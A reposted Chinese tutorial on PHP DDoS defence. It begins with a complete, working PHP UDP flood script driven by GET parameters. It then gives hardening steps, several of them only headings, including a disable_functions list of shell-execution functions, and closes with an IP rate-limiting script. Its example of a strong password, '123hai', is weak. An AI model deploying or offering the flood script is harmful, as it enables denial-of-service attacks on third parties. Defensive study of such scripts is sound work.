PHP DDos的几个防御方法详解
PHP DDos是一种利用服务器就是利用我服务器的php.ini中配置allow_url_fopen = On才得成了,但allow_url_fopen 这个功能很多网站都需要使用,下面我来给大家介绍一些关于PHP DDos的几个防御方法.
我们先来看php ddos代码,代码如下:
<?php $packets = 0; $ip = $_GET [ 'ip' ]; $rand = $_GET [ 'port' ]; set_time_limit(0); ignore_user_abort(FALSE); $exec_time = $_GET [ 'time' ]; $time = time(); print "Flooded: $ip on port $rand "; $max_time = $time + $exec_time ; for ( $i =0; $i <65535; $i ++){ $out .= "X" ; } while (1){ $packets ++; if (time() > $max_time ){ break ; } $fp = fsockopen ( "udp://$ip" , $rand , $errno , $errstr , 5); if ( $fp ){ fwrite( $fp , $out ); fclose( $fp ); } } //开源代码phpfensi.com echo "Packet complete at " .time( 'h:i:s' ). " with $packets (" . round (( $packets *65)/1024, 2) . " mB) packets averaging " . round ( $packets / $exec_time , 2) . " packets/s n" ; ?>细心的朋友会发现fsockopen是一个主要攻击函数了,不断连接发送请求导致机器流量与cpu过多从而网站不对正常访问了.
于是简单的研究了一下PHP DDos脚本构造,并有所收获,下面介绍几点可以最大程度避免的方法.
注意:以下操作具有危险性,对于造成的任何后果,与傲游无关,请谨慎操作.
1.打开php.ini,2.禁用危险函数
由于程序不同,函数要求也不同,所以请客户自行增删需要禁用的函数,找到disable_functions,将前面的[;]去掉,在等号后面增加如下代码:
phpinfo,passthru,exec,system,popen,chroot,escapeshellcmd,escapeshellarg,shell_exec,proc_open,proc_get_status,fsocket,fsockopen
3.设置PHP执行超时时间
4.禁用上传目录PHP执行权限
大概分为三种服务器:IIS,Apache、Nginx,具体步骤就不写了.
5.一个很暴力的方法
6.关闭用户中心
比如dede等cms都会有用户中心,里面有很多上传的地方,这就是大概的问题所在.
7.修改管理员目录
这个方法就不细谈了,并不是对所有程序都适合.
8.修改默认管理帐号
很多人都习惯使用:admin 但是如果程序出现漏洞,很容易被猜测出admin的密码,所以建议修改admin为其他登录名.
9.一个复杂且记得住的密码
不管是Windows/Linux的系统用户还是网站管理员的账户,都需要设置一个难以猜解的密码,如:123hai.
后再再附一个php防ddos攻击的代码,代码如下:
<?php //查询禁止IP $ip = $_SERVER [ 'REMOTE_ADDR' ]; $fileht = ".htaccess2" ; if (! file_exists ( $fileht )) file_put_contents ( $fileht , "" ); $filehtarr =@file( $fileht ); if (in_array( $ip . "rn" , $filehtarr )) die ( "Warning:" . "<br>" . "Your IP address are forbided by some reason, IF you have any question Pls emill to shop@mydalle.com!" ); //加入禁止IP $time =time(); $fileforbid = "log/forbidchk.dat" ; if ( file_exists ( $fileforbid )) { if ( $time - filemtime ( $fileforbid )>60)unlink( $fileforbid ); else { $fileforbidarr =@file( $fileforbid ); if ( $ip == substr ( $fileforbidarr [0],0, strlen ( $ip ))) { if ( $time - substr ( $fileforbidarr [1],0, strlen ( $time ))>600)unlink( $fileforbid ); elseif ( $fileforbidarr [2]>600){ file_put_contents ( $fileht , $ip . "rn" ,FILE_APPEND);unlink( $fileforbid );} else { $fileforbidarr [2]++; file_put_contents ( $fileforbid , $fileforbidarr );} } } } //防刷新 $str = "" ; $file = "log/ipdate.dat" ; if (! file_exists ( "log" )&&! is_dir ( "log" )) mkdir ( "log" ,0777); if (! file_exists ( $file )) file_put_contents ( $file , "" ); $allowTime = 120; //防刷新时间 $allowNum =10; //防刷新次数 $uri = $_SERVER [ 'REQUEST_URI' ]; $checkip =md5( $ip ); $checkuri =md5( $uri ); $yesno =true; $ipdate =@file( $file ); foreach ( $ipdate as $k => $v ) { $iptem = substr ( $v ,0,32); $uritem = substr ( $v ,32,32); $timetem = substr ( $v ,64,10); $numtem = substr ( $v ,74); if ( $time - $timetem < $allowTime ){ if ( $iptem != $checkip ) $str .= $v ; else { $yesno =false; if ( $uritem != $checkuri ) $str .= $iptem . $checkuri . $time . "1rn" ; elseif ( $numtem < $allowNum ) $str .= $iptem . $uritem . $timetem .( $numtem +1). "rn" ; else { if (! file_exists ( $fileforbid )){ $addforbidarr = array ( $ip . "rn" ,time(). "rn" ,1); file_put_contents ( $fileforbid , $addforbidarr );} file_put_contents ( "log/forbided_ip.log" , $ip . "--" . date ( "Y-m-d H:i:s" ,time()). "--" . $uri . "rn" ,FILE_APPEND); $timepass = $timetem + $allowTime - $time ; die ( "Warning:" . "<br>" . "Sorry,you are forbided by refreshing frequently too much, Pls wait for " . $timepass . " seconds to continue!" ); } } } //开源代码phpfensi.com } if ( $yesno ) $str .= $checkip . $checkuri . $time . "1rn" ; file_put_contents ( $file , $str ); ?>查看更多关于PHP DDos的几个防御方法详解 - php高级应用的详细内容...
声明:本文来自网络,不代表【好得很程序员自学网】立场,转载请注明出处:http://www.haodehen.cn/did30043